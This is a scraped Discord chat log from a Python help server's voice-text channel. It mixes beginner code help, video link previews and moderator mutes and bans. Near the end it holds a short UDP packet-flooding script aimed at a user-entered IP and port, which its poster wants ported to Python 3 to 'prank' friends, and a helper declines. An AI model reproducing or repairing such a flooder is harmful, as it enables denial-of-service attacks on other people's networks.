#voice-chat-text-0
1 messages · Page 606 of 1
let me change my mic
Prestige
Recorded at Van Gelder Studio, Englewood Cliffs, NJ, September 13 & 20, 1971
Tracklist:
A1 Peace
A2 Rhythm (Clarence Thomas) 11:58
B1 Brother You Know You're Doing Wrong (Sakinah Muhammad) 17:58
B2 Don't Knock My Love (Shapiro, Pickett) 23:40
B3 I'm A Believer (Sakin...
python script.py parmater1 parmater2
how can this be done?
Python - Command Line Arguments - Python provides a getopt module that helps you parse command-line options and arguments.
mr sandman hand me some sand
I DONT WANT OTHER PEOPLE MAKING MONEY OFF THIS SO IM GOING TO SAY A BUNCH OF BAD WORDS IN THE DESCCRIPTION
FUCK FUCK FCUCK FUCK FUCK FUCK FUCK FUCK FUCK FUCK FUCK FUCK FUCK FUCK
DEMONITISE THIS VIDEO LOL
stunning
WARNING:This video is ONLY a PARODY, SATIRE and GAG!!!
No insults intended here! This film is extremely frivolous so please, please, please... do not take it SERIOUSLY!
MUSIC:
Ancient Music Of Tang Dynasty ht...
@whole bear your making a similair program to vid-iq?
When the error is on Line 420 
@abstract sinew Did you need help?
thank you i joined the channel by accident
all love for you💗
hey @abstract sinew could you please change your nickname so that it uses ascii characters? (#rules) it’s quite tedious to mention right now
ok
!star 528163652487086090 1d You were asked to change it, your current nickname goes against our nickname policy.
Your previous nickname, عبدالله, was so bad that we have decided to change it. Your new nickname will be Bob Marley.
You will be unable to change your nickname until 2020-05-14 06:37.
If you're confused by this, please read our official nickname policy.
@whole bear qartveli aris shen?
;))
saswavlad shemoxvedi tu prosta mogiwvies
damwyebi xar? tu advanced?
k
Oh yeah, I'm sure you are
And I'm not staff
But it's hard for staff to moderate other languages
@whole bear what do you need help at
What's your native language?
Sorry, but what is @whole bear ? An AI being tested?
From Georgia then? Let me see if there are any usergroups
Looks like there's only one
But if you need resources in your own language
Might be worth asking
@whole bear Did you get spam from them?
Seems like they've been jumping in and out of voice channels
Did you catch anything from that?
@whole bear Did you get spam from them?
@olive sentinel No, not technically, in the voice chat, @whole bear talked in a very strange way and with a really dry and constant voice and the things he said seemed extremely weird which then I thought he is an AI but IDK, he even sent us friend request
Hmm, there's other weird behavior
Like, he constantly talked about his dad,
I'm looking into it, but they're not responding
He said that he's 12 year old which doesn't match his voice at all
He said he lives in different places when asked, once France and once Island I think?
He said he lives in different places when asked, once France and once Island I think?
@whole bear Second time it was Finland
No problem
And he said his mother was gay?
IDK, it was the strangest conversation I've ever heard
Alright, thanks. We'll look into it
IDK, it was the strangest conversation I've ever heard
@whole bear Thats's true
@whole bear Thats's true
@mint dagger lol XD
Alright, thanks. We'll look into it
@olive sentinel NP, and thanks
ясно,террористы
Hey @fading totem!
It looks like you tried to attach a Python file - please use a code-pasting service such as https://paste.pythondiscord.com
понятно просто последователь игила
ясно,террористы
@dire forum
r = [questions['Response 1'], questions['Response 2'], questions['Response 3'],
questions['Response 4']]
for b in range(len(r)):
question = random.choice(r)
r.remove(question)
quizz_embed.add_field(name=str(b + 1), value=question, inline=False)
t = b + 1
rd['P' + str(t)] = {'response': question,
'emoji': str(f'{t}\N{combining enclosing keycap}')}
!rule 4 folks :>
4. This is an English-speaking server, so please speak English to the best of your ability.
lol
@whole bear You can send them querries and manipulate the database
Just how bad is it if your site is vulnerable to an SQL Injection? Dr Mike Pound shows us how they work.
Cookie Stealing: https://youtu.be/T1QEs3mdJoc
Rob Miles on Game Playing AI: https://youtu.be/5oXyibEgJr0
Secure Web Browsing: https://www.youtube.com/watch?v=E_wX40fQwEA...
Bitte schaut es Euch in HD an und geht nochmal an den Anfang des Videos weil's sonst eventuell ruckelt.
Music: Jonathan Coulton
Madelbrot Set Zooms made with Fractalizer
Die zwei Stellen an denen die Musik ein wenig stockt, waren erst nach dem upload da. Da die Qualit...
how do i convert a py file to an exe one?
@whole bear use pyinstaller
@whole bear @earnest crag
Provided to YouTube by CDBaby
Mandelbrot Set · Jonathan Coulton
Where Tradition Meets Tomorrow
℗ 2004 20 Goto 10, Inc.
Released on: 2004-01-01
Auto-generated by YouTube.
The logistic map connects fluid convection, neuron firing, the Mandelbrot set and so much more. Fasthosts Techie Test competition is now closed! Learn more about Fasthosts here: https://www.fasthosts.co.uk/veritasium Code for interactives is available below...
Animations, cod...
@severe elm
the numbers seem small enough so maybe brute force using from itertools import combinations and then for x, y, z in combinations(lst, 3): if x+y+z in other_lst...
yea, hello
hey bamboo
but if the lists get bigger we really have to think...
In number theory, a narcissistic number (also known as a pluperfect digital invariant (PPDI), an Armstrong number (after Michael F. Armstrong) or a plus perfect number) in a given number base
b
{\displaystyle b}
is a number that is th...
wait, how does your challenge relate to narcissistic numbers?
[1, 8, 27, 64, 125, 216, 343, 512, 729]
itertools.combinations([1,8,27,...], r=3)
'1**3'
1**2
👍
so you wanna see which numbers are narcissistic or which numbers added up make up numbers in the bigger list?
pick one, I said or
are you guys using noise suppression?
that lil pulsy thing next to Voice Connected
nope i dont use it
but i can hear myself threw @somber heath 's voice thingy
it's a module
@somber heath is it tee-yoo-ple or taw-ple
I always read that in my head but I saw a pycon and the dev said tawple, my life has changed since
tawple
what ya mean
def liste_erstellen():
zahlenliste = []for i in range(100, 1001): zahlenliste.append(i) return zahlenlistedef ppdi_finden(zahlenliste):
zwischen_liste = [] for zahl in range(1, 10): exp_zahlen = zahl ** 3 zwischen_liste.append(exp_zahlen) return zwischen_liste
@severe elm https://paste.sh/
tawple or tuh_ple
Discord has support for Markdown, which allows you to post code with full syntax highlighting. Please use these whenever you paste code, as this helps improve the legibility and makes it easier for us to help you.
To do this, use the following method:
```python
print('Hello world!')
```
Note:
• These are backticks, not quotes. Backticks can usually be found on the tilde key.
• You can also use py as the language instead of python
• The language must be on the first line next to the backticks with no space between them
This will result in the following:
print('Hello world!')
ah, that's what we learned in math class
the Z
for integer sets
can you please restate the challenge
I don't think we're on the same page here
oki doki
you can also do this btw @severe elm
```python
some_code
```
in discord
or ```py
def liste_erstellen():
zahlenliste = []for i in range(100, 1001): zahlenliste.append(i)what you want ?
return zahlenlistedef ppdi_finden(zahlenliste):
zwischen_liste = [] for zahl in range(1, 10): exp_zahlen = zahl ** 3 zwischen_liste.append(exp_zahlen) return zwischen_liste
@severe elm
what you want ?
``
don't forget to put python after ```
```py
```python
both work
at the beginning
English Bro , What you want ?
after the ```
```python
your_code_here
```
```python
import hello
```
import hello
def liste_erstellen():
zahlenliste = []
for i in range(100, 1001):
zahlenliste.append(i)
return zahlenliste
def ppdi_finden(zahlenliste):
zwischen_liste = []
for zahl in range(1, 10):
exp_zahlen = zahl ** 3
zwischen_liste.append(exp_zahlen)
return zwischen_liste
def ppdi_finden_2(zahlenliste, zwischenliste):
for i in range(len(zwischenliste)):
import __hello__ is actually a thing
could you please restate the challenge
what's the goal here
idk, whoever knows the challenge
your assignment/problem
oh?
😆 yea
ok
preferably not in german
i have 2 lists:
153 = narcisstic umber
so range is an iterable, you use * to unpack the iterable and enclose it in [] to get a list
in what base?
10?
wait no
shouldn't all digits be < 3 if it's in base 3
``13 + 53 + 3**3 = 153`
I suppose this is an extension
so you're trying to find narcissistics in range(100, 1001)?
def is_narcissistic(num):
s = sum(int(d)**3 for d in str(num))
return s == num
print([*filter(is_narcissistic, range(100, 1001))])
output: [153, 370, 371, 407]
if you have problems with sum and filter you can expand them
no, num is a number
is_narcissistic checks whether num is narcissistic
and you pass in 100...1000 to the function
knowing 1000 is not narcissistic
so you get each d a digit in str(num) and then you do int(d)**3 to get the 3rd power, and you add em up with sum
brb
and then you check whether that sum equates the original num
gtg now bye
bb
await cur.execute("SELECT * FROM statz_blocks_placed WHERE uuid = %s", (uuid,))
Bplacedraw = cur.fetchall()
print(Bplacedraw)
print(type(Bplacedraw))
Bplace = 0
for obama in Bplacedraw:
print("OBAMA")
Bplace += obama[2]
print(Bplace)
prints:
<Future finished result=((2, '73ee0243-f3d...-a40f31d2ef04', 1, 'survival', 'BLUE_BED'), (1, '73ee0243-f3d...-a40f31d2ef04', 1, 'survival', 'COBBLESTONE'))>
<class '_asyncio.Future'>
0
<built-in method result of _asyncio.Future object at 0x00000208492F72C0>
Bplacedraw = await cur.execute("SELECT * FROM statz_blocks_placed WHERE uuid = %s", (uuid,)).fetchall()
Bplacedraw = await cur.execute("SELECT * FROM statz_blocks_placed WHERE uuid = %s", (uuid,))
print(Bplacedraw)
{{ description }}
This article shows you how to use Unsniff to analyze SSLv3/TLS traffic. YOu can also decrypt SSLv3/TLS streams using Unsniff.
@devout ember could you speak louder? it's kind of hard to hear you atm
and btw I have virtually zero experience in anything hacking-related, so feel free to start from the beginning
ah k htought its an ukulele nvm
little question
i just read about the modul init.py
__init__.py
and that a package with it is cold a regular package
do you use it commonly ? i also reaf that its used for older python versios
I haven't done anything serious, I don't package stuff mostly
but I have bookmarked this link, might help: https://packaging.python.org/tutorials/packaging-projects/
@whole bear is packaging not important for a project, when you have a lot of modules and stuff for one particular project
to have some order
idk, I'm not a pro. but when you look at people's github pages there's a lot of stuff going on in there, requirements.txt something.yaml possibly __init__.py
so like it must be a good thing 😅
it would help if you'd like to be able to import your projects when coding in a console
like from util import * and use your old functions
but I just copy paste the folder inside the python lib directory to save the sweat
I say, if you don't know it, you don't need it
I say, if you don't know it, you don't need it
@whole bear yeah you may be right there
@devout ember SSLv3 / TLS1.0 isn't recommended for use. TLS1.2 / TLS1.3 is
@everyone help
You just tried to mention 50,000 people in a channel completely unrelated to your post, to ask for help on a question.
Please read #❓|how-to-get-help
(and then add the missing bracket)
lol
@flat tinsel In what way do you think any of that is appropriate to paste here?
!tempmute 615056895530631168 4d I already told you what you should do to take care of them. You block them, you report them to Discord. You do not bring off server spats onto our server, and you certainly don't use our server just so you can "call them a pussy". Learn to get in step with our culture, or the next time might be the last.
:incoming_envelope: :ok_hand: applied mute to @flat tinsel until 2020-05-22 16:43 (3 days and 23 hours).
@everyone
!warn 712593499861549067 trying to ping everyone on a server with over 50k people is not cool. Don't try this again.
:incoming_envelope: :ok_hand: applied warning to @kindred ice.
im so buff bro
!tempmute 712593499861549067 3d That is not the correct response to a warning. If you decide to come back then I suggest you read our #rules carefully. Next time this will be permanent.
:incoming_envelope: :ok_hand: applied mute to @kindred ice until 2020-05-23 09:46 (2 days and 23 hours).
hello
how is this voice-chat
It's used a chat in addition to the voice channels for people who don't have or don't want to use a mic but do want to participate in a voice channel
<@&267629731250176001> ^ that don't seem great
!warn @acoustic blaze This is not the place to dump memes
:incoming_envelope: :ok_hand: applied warning to @acoustic blaze.
And there is no place on the server
dont @ me
We will certainly you mention you to give you warnings and/or the instructions you seemlingly need to stick to the rules, @acoustic blaze
Can anyone help me with a genetic algorithm problem? I've been stuck for a while. I know what I need to do, but I don't know how to code it, I am pretty new to Python / programming.
ANGERY UBUNTU
!tempmute @acoustic blaze 24H responding to a warning with "don't @ me" and "ANGERY UBUNTU" is a good way to show you're not willing to take this community seriously. Maybe don't do that in the future.
:incoming_envelope: :ok_hand: applied mute to @acoustic blaze until 2020-05-21 18:16 (23 hours and 59 minutes).
.
hello fella mates
Hi what sup dude

class C():
def init(self, stuff):
self.stuff = stuff
class C2(C):
def init(self, stuff):
super().init(stuff)
__
C2("alsdkfjö")
class C():
def init(self, stuff):
self.stuff = stuff
class C2(C):
def init(self, stuff):
super().init(stuff)```
`class C():
def init(self, stuff):
self.stuff = stuff
class C2(C):
def init(self, stuff):
super().init(stuff)`
class C():
def __init__(self, stuff):
self.stuff = stuff
class C2(C):
def __init__(self, stuff):
super().__init__(stuff)
class
.``py .``
class C():
def __init__(self, stuff):
self.stuff = stuff
class C2(C):
def __init__(self, stuff):
super().__init__(stuff)
class C():
def __init__(self, stuff):
self.stuff = stuff
class C2(C):
def __init__(self, stuff):
super().__init__(stuff)
No space before the py 
XD
thanks XD
The math behind cryptocurrencies.
Home page: https://www.3blue1brown.com/
Brought to you by you: http://3b1b.co/btc-thanks
And by Protocol Labs: https://protocol.ai/join/
Some people have asked if this channel accepts contributions in cryptocurrency form. As a matter of fact...
Python tutorial - Python for beginners
🚀Learn Python programming for a career in machine learning, data science & web development.
🔥Get my Complete Python Programming Course with a BIG discount (LIMITED TIME): http://bit.ly/35BLHHP
📕Get My FREE Python Cheat Sheet:
http://bit...
Finally a Python tutorial for programmers! Watch this Python crash course to learn Python fast.
🔥Subscribe for more Python tutorials like this: https://www.youtube.com/channel/UCWv7vMbMWH4-V0ZXdmDpPBA?sub_confirmation=1
🔥Get the COMPLETE Python Course: http://programmingwithmo...
Hey @whole bear!
It looks like you tried to attach a Python file - please use a code-pasting service such as https://paste.pythondiscord.com
sec
Hey @regal plume!
Uh-oh! It looks like your message got zapped by our spam filter. We currently don't allow .txt attachments, so here are some tips to help you travel safely:
• If you attempted to send a message longer than 2000 characters, try shortening your message to fit within the character limit or use a pasting service (see below)
• If you tried to show someone your code, you can use codeblocks
(run !code-blocks in #bot-commands for more information) or use a pasting service like:
exec("""\nfrom main import Main\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nsampleBeginning = 10\nsampleEnd = 12\n\nchanel = 0\nsampleBeginning = 0\nsampleEnd = 2\nfrequencyBeginning = 0\nfrequencyEnd=1000\ndistance = 5\nnumber = 2 #number of the notes to detect\nfStartingNote = 440\n\nm = Main(r"ressources\Piano A.wav")\nm.main(chanel, sampleBeginning, sampleEnd, frequencyBeginning, frequencyEnd, distance, number, fStartingNote)\n\nplt.plot(m.xvalues, m.values)\n\nplt.show()\n\nplt.plot(*m.fvalues_xy)\nplt.plot(*m.extrema, "b.")\nplt.plot(*m.mainFrequencies, "o")\nplt.show()\n""")
Oh, okay ^^
:/
Good night to him : D
haha
@regal plume Did you need assistance with your code? You have a lot of newlines in what you posted
ty
nahh
he doesn't it's just a jokee
loool
😂
this is pretty funny
this single line convert thing
@whole bear No, I am fine, but thanks : D
He showed me a website to convert code into a single line and I pasted some code into it.
Ah, alright. Cheers 👍
import random
inputs = input("Enter str: ")
def decode(_ll111, _lll11):
return ''.join([chr((ord(__l11111) ^ ord(__111111))) for (__l11111, __111111) in zip(_ll111, _lll11)])
def encode(str):
s1 = ""
s2 = ""
for p in str:
e = ord(p)
t = random.randint(1, 100) # 110000
e = e ^ t
s1 += chr(e)
s2 += chr(t)
return (s1, s2)
print("''.join([chr((ord(__l11111) ^ ord(__111111))) for (__l11111, __111111) in zip" + str(encode(inputs)) + "])")
#print(decode(*encode(inputs)))```
: D
my crappy
string encoder
can't talk because little brother
@plush meteor does the same thing.
مصر
Basic
This video demonstrates how to convert .py to .exe so you can run a python script without python on the host computer using pyinstaller.
This video will show you how to set up pip, install pyinstaller and compile a script a few different ways including; one file, no console a...
One can use .pyc as well.. right ?
yeah
Will join you in sometime guys bye
see you guys thanks for little chit chat
chat chit
!ban 627187206083051541 you have been warned before about posting exploits and talking about hacking on this server, clearly you dont know when to stop. come back never
:incoming_envelope: :ok_hand: applied ban to @devout ember permanently.
come back never
Well..
!warn 410487076597923842 Repeatedly trying to mention everybody on a server with 50k members and then deleting your message, all for no apparent reason, is not thoughtful and not acceptable. Please don't try this again
:incoming_envelope: :ok_hand: applied warning to @visual sundial.
I saw it, we have message logs, and you did it about a minute ago
!warn some random int Trying to accuse someone of something they didn't do
I can't believe this!
!tempmute 410487076597923842 1d take some time to think about whether you really want to be here, and if you do I suggest you read over our #rules and code of conduct before you return.
:incoming_envelope: :ok_hand: applied mute to @visual sundial until 2020-05-26 18:36 (23 hours and 59 minutes).
@errant helm We don't do anything about statuses unless they break discords community guidelines as they are community wide, and I don't think that status is bad enough for that.
If it's really offensive or NSFW then we can report it to discord, but otherwise we just leave it
Yeah, that makes sense, not much you can otherwise do
Thanks for the clarification :>
Np :)
@brave dock show me your code :)
import pygame
import sys
pygame.init()
size = [560, 450]
window = pygame.display.set_mode(size)
font = pygame.font.Font(None, 40)
Screen = pygame.display.set_mode((500, 500))
Black = pygame.color.Color('#000000')
Screen.fill((255, 255, 255))
text = font.render('==PASSWORD-GENERATOR==', False, Black)
done = False
while not done:
window.blit(text, (19, 19))
pygame.display.flip()
running = True
while running:
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
done = True
ok now i cant join for some reason @sleek tiger
oh
Tutorial how to use HC-SR04 ultrasonic distance detection module with Raspberry Pi and a Python script on Raspbian GNU/Linux distribution. For more details visit: https://www.anavi.org/article/209/
ICStation provided a discount for this item. Visit the following link and use ...
idk man
their a way to compile pyhton script to execute it in android ?
You could use buildozer for that, it is part of the kivy project
hey somebody worked with python interrupts?(on rpi?)
df = pandas.read_csv('my_csv_file.csv', skiprows=1)
What is the problem statement guys ?
I did created a code for plotting, I used Pandas.Dataframe (Put csv data in this data frame). Than use Matplotlib, Matplotlib supports dataframe plotting directly
Hey @carmine geyser!
It looks like you tried to attach file type(s) that we do not allow (.csv). We currently allow the following file types: .3gp, .3g2, .avi, .bmp, .gif, .h264, .jpg, .jpeg, .m4v, .mkv, .mov, .mp4, .mpeg, .mpg, .png, .tiff, .wmv, .svg, .psd, .ai, .aep, .xcf, .mp3, .wav, .ogg.
Feel free to ask in #community-meta if you think this is a mistake.
for row in file.iterrows():
Can we go to one of your channel ? So that we can do Screenshare
What say Linus ?
Cool thn
Lets continue here
def connections(file):
edges = []
adj_matrix = np.zeros([302, 302])
for _, row in file.iterrows():
print(row)
node1 = row['station1']
node2 = row['station2']
if node1 not in edges:
edges.append(node1)
if node2 not in edges:
edges.append(node2)
for node1, node2 in edges:
adj_matrix[node1][node2] = 1
adj_matrix[node2][node1] = 1
return edges, adj_matrix
csvfile_connections = pd.read_csv('london.connections.csv')
def connections(file):
edges_1 = []
edges_2 = []
adj_matrix = np.zeros([302, 302])
for _, row in file.iterrows():
print(row)
node1 = row['station1']
node2 = row['station2']
if node1 not in edges_1:
edges_1.append(node1)
if node2 not in edges_2:
edges_2.append(node2)
connections = list(zip(edges_1, edges_2))
for node1, node2 in connections:
adj_matrix[node1][node2] = 1
adj_matrix[node2][node1] = 1
return connections, adj_matrix
What is the expected result graph of this csv ? A Line graph ?
csvfile_connections = pd.read_csv('london.connections.csv')
def connections(file):
edge_connections = {}
adj_matrix = np.zeros([len(file), len(file)])
for _, row in file.iterrows():
print(row)
node1 = row['station1']
node2 = row['station2']
if not node1 in edge_connections:
edge_connections[node1] = []
edge_connections[node1].append(node2)
for edge, connections in edge_connections.items():
for connection in connections:
adj_matrix[edge][connection] = 1
adj_matrix[connection][edge] = 1
return connections, adj_matrix
{128 : [3, 4]}
It is going over my head 😛 Leaving now
guys
i want to learn how to code plz help
Design Moderno de Login C#
Criação para vocês que querem um Login moderno na plataforma do VisualStudio. Espero que gostem!!
http://www.github.com/henriqueiru
◆ Icones : https://www.icons8.com
◆ INSTAGRAM:
https://www.instagram.com/hrmenezes
Contato:
► Suporte e dúvidas...
@everyone im sorry for mentioning everyone a couple days ago
!ban 410487076597923842 All your activity on this server is trying to annoy others. If this is your only reason for being on the server then you are not welcome here.
:incoming_envelope: :ok_hand: applied ban to @visual sundial permanently.
Good guy wookie184
@crystal fox Bye! Happy Coding!
@errant helm can i get removed from the ping list?
@scarlet ice Sure thing
cells = input("What are the cells\n")
cellslist = [x for x in cells]
print("----------")
print("|", cellslist[0], cellslist[1], cellslist[2], "|")
print("|", cellslist[3], cellslist[4], cellslist[5], "|")
print("|", cellslist[6], cellslist[7], cellslist[8], "|")
print("----------")
@manic cave and @marsh drum
@tidal salmon we're all in #staff-voice 😄
ah
where do i go to find help with things related to fixing issues with my computer (software related issues)
Off-topic channels
There are three off-topic channels:
• #ot0-psvm’s-eternal-disapproval
• #ot1-perplexing-regexing
• #ot2-never-nester’s-nightmare
Their names change randomly every 24 hours, but you can always find them under the OFF-TOPIC/GENERAL category in the channel list.
HEY MODS/ADMINS
I AM INTERESTED IN GETTING THAT PYTHON PRIDE GIF
Is it possible to get hold of that?
Also if anyone knows on which channel can I make such a request?
I am sorry if I shouldn't be posting it here
something like this would go in #community-meta. all our branding is in our branding repository: https://git.pydis.com/branding
also, please don't ping admins next time
you can just ask pinglessly in #community-meta
I am really sorry for that
that's alright. what you're looking for is in the seasonal/pride directory
#include <stdio.h>
#define MAXWORDLEN 10
#define IN 1
#define OUT 0
int main()
{
int c = EOF;
int i = 0;
int j = 0;
int arr_of_len[MAXWORDLEN + 1];
int state = IN;
int nc = 0;
for(i = 0; i <= MAXWORDLEN; ++i)
arr_of_len[i] = 0;
while((c = getchar()) != EOF)
{
++nc;
if(c == ' ' || c == '\t' || c == '\n')
{
state = OUT;
--nc;
}
if(state == OUT)
{
if(nc != 0 && nc <= MAXWORDLEN)
++arr_of_len[nc];
state = IN;
nc = 0;
}
}
for(i=1; i <= MAXWORDLEN; ++i)
{
printf("|%2d| ", i);
for(j = 0; j < arr_of_len[i]; ++j)
putchar('*');
putchar('\n');
}
return 0;
}
for( i = 1; i <= 10; ++i)
array = []
nc = 0
m = 0
state = 1
for x in range(10):
array.append(0)
stop = 'y'
while(1):
inp = input("")
nc = nc + 1
if(inp == ' ' or inp == '\t' or inp == '\n'):
nc = nc - 1
state = 0
if(state == 0):
print('wtf')
if(nc > 0 and nc <= 10):
array[nc] = array[nc] + 1
if(nc > 0 and nc >= 11): #[;0,infinty]
m = m + 1
array[0] = array[0] + 1
state = 1
nc = 0
if(inp == "EOF"):
break;
for x in range(1,10):
if(array[x] > 0):
print(f' {x}:')
for y in range(0,array[x]):
print('#')
print('\n')
if(m > 0):
print(" > 10:")
for x in range(0,m):
print('#')
print('\n')
button_x = 115
button_y = 0
button_width = 70
button_height = 28
def setup():
global button
size(300,300)
textSize(20)
button = loadImage("reset.png")
def draw():
background(100, 0, 100)
text(score, 140, 160)
image(button, button_x, button_y)
def mouseClicked():
global score
if mouse.x < 150 and mouse.y < 150:
score = score + 1
if mouse.x > 150 and mouse.y > 150:
score = score - 1
if sprite_clicked_on(mouse.x, mouse.y):
score = 0
else:
coordinates_text = "Reset".format (mouse.x, mouse.y)
def sprite_clicked_on(x, y):
in_sprite_x = button_x <= x <= button_x + button_width
in_sprite_y = button_y <= y <= button_y + button_height
return in_sprite_x and in_sprite_y
run()```
else isn't indented
score = 0
button_x = 115
button_y = 0
button_width = 70
button_height = 28
def setup():
global button
size(300,300)
textSize(20)
button = loadImage("reset.png")
def draw():
background(100, 0, 100)
text(score, 140, 160)
image(button, button_x, button_y)
def mouseClicked():
global score
if mouse.x < 150 and mouse.y < 150:
score = score + 1
if mouse.x > 150 and mouse.y > 150:
score = score - 1
if sprite_clicked_on(mouse.x, mouse.y):
score = 0
else:
coordinates_text = "Reset".format (mouse.x, mouse.y)
def sprite_clicked_on(x, y):
in_sprite_x = button_x <= x <= button_x + button_width
in_sprite_y = button_y <= y <= button_y + button_height
return in_sprite_x and in_sprite_y
run()
!e
You are not allowed to use that command here. Please use the #bot-commands channel instead.
gomoku
!e
s = "Hello World"
print(set(list(s)))
@whole bear :white_check_mark: Your eval job has completed with return code 0.
{'d', 'r', 'l', 'W', ' ', 'e', 'H', 'o'}
!e
You are not allowed to use that command here. Please use the #bot-commands channel instead.
.count
string.count(input)
tk.Text
are these voice channels just general talk or do people pair program in them?
where are you from?
india
wow
wbu?
chile
why i tts not working?
what?
hello
tts is vot working in this vc
i guess so
any suggestions for some cool places to practice python
??
cuz i'm really a noob
@slate frost you can't be heard
dev documentation?
it comes with the package
i have that
anything else to gain more skills
i mean programming skills
??
hi
learn about pattern design
woo thanks dude
🤟
yo someone join up
@lime arch

so, how is everyone?
i am squandering the most valueable years of my life rn
feeling amazing
@delicate holly Did I here you ask for help in the Games vc?
Yes
Anyway, I'm out
$i = 0
while($true) {
$x = (Get-Cursor).x
$y = (Get-Cursor).y
$command = 'wallpaper64.exe -control applyProperties -properties RAW~({"mouse":{"x":$x,"y":$)}})~END'
iex $command
Start-Sleep -Milliseconds 16
}
$i = 0
while($true) {
$x = (Get-Cursor).x
$y = (Get-Cursor).y
$command = 'wallpaper64.exe -control applyProperties -properties RAW~({"mouse":{"x":$x,"y":$y)}})~END'
iex $command
Start-Sleep -Milliseconds 16
}
$i = 0
while($true) {
$x = (Get-Cursor).x
$y = (Get-Cursor).y
$command = "wallpaper64.exe -control applyProperties -properties RAW~({'mouse':{'x':$($x),'y':$($y)}})~END"
iex $command
Start-Sleep -Milliseconds 16
}
Start-Process iex -ArgumentList $command
"wallpaper64.exe -control applyProperties -properties RAW~({`"mouse`":{`"x`":$($x),`"y`":$($y)}})~END"
TASKKILL /F /IM explorer.exe

print("Mål om du er overvægtigt eller ej")
s = input("Vægt: ")
a = int(input("Højde: "))
i = 2
print(f"{s}")
print(f"{a}"* i)
print("Mål om du er overvægtigt eller ej")
s = input("Vægt: ")
a = int(input("Højde: "))
i = 2
print(s)
print(a * i)
print("Mål om du er overvægtigt eller ej")
s = input("Vægt: ")
a = int(input("Højde: "))
i = a * a
print(s * i)
h = (s * i)
if h < 100:
print (f"Du er undervægtig med en vægt på {h}." )
if h > 11:
print("Hey1")
print("Mål om du er overvægtigt eller ej")
s = input("Vægt: ")
a = int(input("Højde: "))
i = a * a
print(s * i)
h = (s * i)
if h < 100:
print (f"Du er undervægtig med en vægt på {h}." )
if h > 11:
print("Hey1")
!ask
Asking good questions will yield a much higher chance of a quick response:
• Don't ask to ask your question, just go ahead and tell us your problem.
• Don't ask if anyone is knowledgeable in some area, filtering serves no purpose.
• Try to solve the problem on your own first, we're not going to write code for you.
• Show us the code you've tried and any errors or unexpected results it's giving.
• Be patient while we're helping you.
You can find a much more detailed explanation on our website.
ey thane
woah nice
how u doing
4 - 3 * 2
# -2
(4 - 3) * 2
# 2
@wicked minnow
print("Mål om du er overvægtigt eller ej")
s = float(input("Vægt: "))
a = float(input("Højde (i meter): "))
print(f"Du har en BMI på {s / (a * a)}")
if h < 18.5:
print (f"Du er undervægtig med en bmi på {h}." )
if h >= 18.5 and h <= 25:
print(f"Du er sund og normal vægt, med en vægt på{h}.")
```py
python code
```
^^^py
print("Mål om du er overvægtigt eller ej")
s = float(input("Vægt: "))
a = float(input("Højde (i meter): "))
print(f"Du har en BMI på {s / (a * a)}")
if h < 18.5:
print (f"Du er undervægtig med en bmi på {h}." )
if h >= 18.5 and h <= 25:
print(f"Du er sund og normal vægt, med en vægt på{h}.")
print("Mål om du er overvægtigt eller ej")
s = float(input("Wheigt: "))
a = float(input("Height (in meter): "))
print(f"You have a BMI on {s / (a * a)}")`
!eval 55 / ( 1.7** )
You are not allowed to use that command here. Please use the #bot-commands channel instead.
print("Mål om du er overvægtigt eller ej")
s = float(input("Wheigt: "))
a = float(input("Height: "))
b = a / 100
print(f"You have a BMI on {s / (b * b)}")
https://www.youtube.com/watch?v=q_9SsX7HJhE @wicked minnow
From the depths of Pepsi City comes the most refreshing super hero or something.
This video is really special to me because its more or less 100% original, I had complete control over every aspect of it from the music to the green screen footage, to the editing. its all from ...
I bring to you... the Pepsi Man Pepsi Jam, and I've called for backup!
I knew if I were to ever cover the Pepsi Man theme, I'd want to feature somebody on it. Then I figured... why not feature a BUNCH of people on it?
The Pepsi Man Pepsi Jam features solos from these 7 amazi...
!user
You are not allowed to use that command here. Please use the #bot-commands channel instead.
@frosty epoch I GOT THE THING TO WORK
Congraduations
OH MY GOD THIS STUPID, RANDOM, ALMOST UNNOTICABLE THING TOOK OVER 12 HOURS TO FIX
IM SO PROUD OF MYSELF
ALAST
The satisfaction from solving a problem is nice.
come on man no politics here
@frosty epoch that pfp looks familiar
Ok so
@edgy cobalt @nocturne ridge whenever you guys are done with what your doing can you help me out?
sure
my mic is really bad so I can't really talk
I do not want to blow your ears out 😐
@hexed laurel when your done
k
@hexed laurel WHAT DO YOU NEED HELP WITH
I think I got it
ngrok secure introspectable tunnels to localhost webhook development tool and debugging tool
8080
When you do not specify a port in the io.connect() function on the client side, what port does the client listen to?
eg:
var socket = io.connect('http://example.com/'); // listening to port 80?
...
import socket
import random
import time
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #Opens a new socket
bytes = random._urandom(1024) #Creates packet
ip = raw_input('Target IP: ')
port = int(input('Port: '))
duration = input('Number of seconds to send packets: ')
timeout = time.time() + duration
sent = 0
while True:
if time.time() > timeout:
break
else:
pass
sock.sendto(bytes, (ip, port))
send = sent + 1
print "sent §s
someone help me with this code
how do i make it python 3
look up same tutorial for python 3
i cant find anything
look it up on yt
i cant find anything
Enjoy the videos and music you love, upload original content, and share it all with friends, family, and the world on YouTube.
Welcome to a tutorial on sockets with Python 3. We have a lot to cover, so let's just jump right in. The socket library is a part of the standard library, so you already have it.
Source code and text-based tutorial: https://pythonprogramming.net/sockets-tutorial-python-3/
Ch...
this guy is really complicated
start with tutorial i sent you
by freecodecamp
otherwise you wont understand a word
how to send packets to a specific IP address
i dont know,
i just wanna prank my friends no biggie
yeah no
why not
In computer networking, localhost is a hostname that refers to the current computer used to access it. It is used to access the network services that are running on the host via the loopback network interface. Using the loopback interface bypasses any local network interface h...
automating the boring stuff with python
This is a non-technical follow up video, for this tutorial https://youtu.be/lvFAuUcowT4 (if you want to make your own)
Social Media
https://instagram.com/aaronjack
https://twitter.com/_aaronjack
how to send packets to a specific IP address
@whole bearping address
@digital vigil
yes
my mic is really bad
its good
I need help with something
progress = num / limit
print("The process is:",round(progress, 5),"% complete...")
thats my code
it is in a loop
yes voice channel general
o
yeah im decent
I can do some stuff 🙂
imma go to Code/Help
@whole bear
😦
goodluck
everyone mute as soon as I join 
@hexed laurel come
f''
0.0000
yes
excactly like that
round seems to not do that
yeah but when I try it
the output is the same
round(5, 5)
def triangular_number():
limit = 10000000001
for num in range(1,limit):
_factors_ = []
progress = num / limit
print("The process is:",round(progress, 5),"% complete...")
for i in range(1,num + 1):
if (num % i) == 0:
_factors_.append(i)
break
if len(_factors_) == 1000:
print(num)
break
triangular_number()
